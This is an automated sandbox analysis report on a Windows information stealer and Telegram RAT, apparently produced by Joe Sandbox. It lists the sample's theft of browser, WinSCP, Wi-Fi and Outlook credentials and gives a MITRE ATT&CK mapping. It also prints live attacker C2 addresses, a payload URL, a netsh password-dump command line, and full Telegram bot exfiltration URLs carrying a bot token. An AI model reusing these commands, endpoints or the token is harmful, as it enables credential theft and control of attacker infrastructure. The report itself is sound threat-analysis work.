Source: powershell.exe, 00000001.00000002.1715254235.00000000062C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 8072, type: MEMORYSTR

Remote Access Functionality

Yara detected Gurcu Stealer

Source: Yara match	File source: 0000002D.00000002.3553295709.00000167D1889000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2953825020.000001EC01AD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 125704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 325468, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 8072, type: MEMORYSTR

Yara detected WhiteSnake Stealer

Source: Yara match

File source: Process Memory Space: vkefq4cv.oil.exe PID: 8072, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	1 Timestomp	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	161 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	161 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
jqOHOuPMJP.exe	13%	ReversingLabs
jqOHOuPMJP.exe	24%	Virustotal	Browse
jqOHOuPMJP.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
serveo.net	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://www.microsoft.co(=	0%	Avira URL Cloud	safe
https://e2111f95f52ba8be6b2d3394e38b1722.se	0%	Avira URL Cloud	safe
http://crl.v	0%	URL Reputation	safe
http://193.142.58.127:80	0%	Avira URL Cloud	safe
http://23.224.102.6:8001	0%	Avira URL Cloud	safe
http://216.250.190.139:80	100%	Avira URL Cloud	malware
http://185.119.118.59:8080	0%	Avira URL Cloud	safe
http://216.250.190.139:80	8%	Virustotal		Browse
http://193.142.58.127:80	7%	Virustotal		Browse
http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user	0%	Avira URL Cloud	safe
http://185.119.118.59:8080	1%	Virustotal		Browse
http://185.119.118.59:80802	0%	Avira URL Cloud	safe
http://107.161.20.142:8080	0%	Avira URL Cloud	safe
http://107.161.20.142:8080	3%	Virustotal		Browse
http://127.0.0.1:18772/handleOpenWSR?r=http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user	0%	Avira URL Cloud	safe
https://13.231.21.109:443	0%	Avira URL Cloud	safe
https://192.99.196.191:443	100%	Avira URL Cloud	malware
http://185.119.118.59:80802	1%	Virustotal		Browse
https://e483612b93e055308d0c85f365c474ee.serveo.net/	0%	Avira URL Cloud	safe
http://66.42.56.128:80	100%	Avira URL Cloud	malware
https://64.227.21.98:443	0%	Avira URL Cloud	safe
http://23.224.102.6:8001	1%	Virustotal		Browse
http://185.119.118.59:8080/get	0%	Avira URL Cloud	safe
https://13.231.21.109:443	0%	Virustotal		Browse
http://185.119.118.59:8080/s9VbfeJdTs/hkLYW_user	0%	Avira URL Cloud	safe
http://129.151.109.160:8080	0%	Avira URL Cloud	safe
http://66.42.56.128:80	9%	Virustotal		Browse
http://127.0.0.1:6787/	0%	Avira URL Cloud	safe
http://82.147.85	0%	Avira URL Cloud	safe
http://82.147.85.194/byte/@jokerbot880901.txt	100%	Avira URL Cloud	malware
http://129.151.109.160:8080	3%	Virustotal		Browse
http://23.248.176.37:180	0%	Avira URL Cloud	safe
https://64.227.21.98:443	0%	Virustotal		Browse
http://185.119.118.59:8080/hkLYW_user%40468325_report.wsr	0%	Avira URL Cloud	safe
http://82.147.85	0%	Virustotal		Browse
http://185.119.118.59	0%	Avira URL Cloud	safe
http://127.0.0.1:	0%	Avira URL Cloud	safe
http://45.61.136.52:80	0%	Avira URL Cloud	safe
http://e2111f95f52ba8be6b2d3394e38b1722.serveo.net:6787//e2111f95f52ba8be6b2d3394e38b1722.serveo.net	0%	Avira URL Cloud	safe
http://185.119.118.59:8080/get	1%	Virustotal		Browse
http://23.248.176.37:180	1%	Virustotal		Browse
http://185.119.118.59:8080/hkLYW_user	0%	Avira URL Cloud	safe
http://45.61.136.13:80	0%	Avira URL Cloud	safe
http://45.61.136.52:80	0%	Virustotal		Browse
http://154.26.128.6:80	0%	Avira URL Cloud	safe
http://212.6.44.53:8080	0%	Avira URL Cloud	safe
http://185.217.98.121:80	100%	Avira URL Cloud	malware
https://44.228.161.50:443	100%	Avira URL Cloud	malware
http://212.6.44.53:8080	1%	Virustotal		Browse
http://104.248.208.221:80	0%	Avira URL Cloud	safe
https://164.90.185.9:443	100%	Avira URL Cloud	malware
https://44.228.161.50:443	2%	Virustotal		Browse
http://185.119.118.59	0%	Virustotal		Browse
http://104.248.208.221:80	1%	Virustotal		Browse
http://154.26.128.6:80	0%	Virustotal		Browse
http://18.228.80.130:80	100%	Avira URL Cloud	malware
http://185.217.98.121:80	15%	Virustotal		Browse
http://185.217.98.121:8080	100%	Avira URL Cloud	malware
http://193.142.58.127:80Pk	0%	Avira URL Cloud	safe
https://164.90.185.9:443	9%	Virustotal		Browse
https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net	0%	Avira URL Cloud	safe
https://e483612b93e055308d0c85f365c474ee.serveo.net	0%	Avira URL Cloud	safe
http://45.61.136.13:80	2%	Virustotal		Browse
http://144.126.132.141:8080	0%	Avira URL Cloud	safe
http://pesterbdd.com/i?	100%	Avira URL Cloud	malware
https://18.178.28.151:443	0%	Avira URL Cloud	safe
http://82.147.85.194/byte/	100%	Avira URL Cloud	malware
http://18.228.80.130:80	11%	Virustotal		Browse
http://127.0.0.1:6787/ing=no	0%	Avira URL Cloud	safe
http://149.88.44.159:80	0%	Avira URL Cloud	safe
http://82.147.85.194	0%	Avira URL Cloud	safe
https://192.99.196.191:443	4%	Virustotal		Browse
http://185.217.98.121:8080	11%	Virustotal		Browse
https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net/	0%	Avira URL Cloud	safe
https://185.217.98.121:443	100%	Avira URL Cloud	malware
http://116.202.101.219:8080	100%	Avira URL Cloud	malware
https://api.tele	0%	Avira URL Cloud	safe
http://127.0.0.1:18772/handleOpenWSR?r=	0%	Avira URL Cloud	safe
http://206.189.109.146:80	100%	Avira URL Cloud	malware
http://185.119.118.59:8080/%68%6B%4C%59%57%5F%6A%6F%6E%65%73%40%34%36%38%33%32%35%5F%72%65%70%6F%72%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serveo.net	138.68.79.95	true	false	8%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe2111f95f52ba8be6b2d3394e38b1722.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML	false		high
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe483612b93e055308d0c85f365c474ee.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML	false		high
http://ip-api.com/line?fields=query,country	false		high
http://82.147.85.194/byte/@jokerbot880901.txt	false	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML	false		high
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.142.58.127:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.microsoft.co(=	powershell.exe, 00000001.00000002.1717242084.0000000007819000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://216.250.190.139:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.224.102.6:8001	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://e2111f95f52ba8be6b2d3394e38b1722.se	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.119.118.59:8080	vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD859B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.161.20.142:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.119.118.59:80802	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:18772/handleOpenWSR?r=http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD859B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://13.231.21.109:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://192.99.196.191:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://e483612b93e055308d0c85f365c474ee.serveo.net/	ssh.exe, 00000021.00000002.4113726250.00000292607CC000.00000004.00000020.00020000.00000000.sdmp, ssh.exe, 00000021.00000002.4113726250.0000029260842000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1712328855.0000000005111000.00000004.00000800.00020000.00000000.sdmp	false		high
http://66.42.56.128:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=51697	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://64.227.21.98:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1712328855.0000000005111000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997F9F000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A001B2000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01B62000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1912000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.119.118.59:8080/get	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.119.118.59:8080/s9VbfeJdTs/hkLYW_user	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
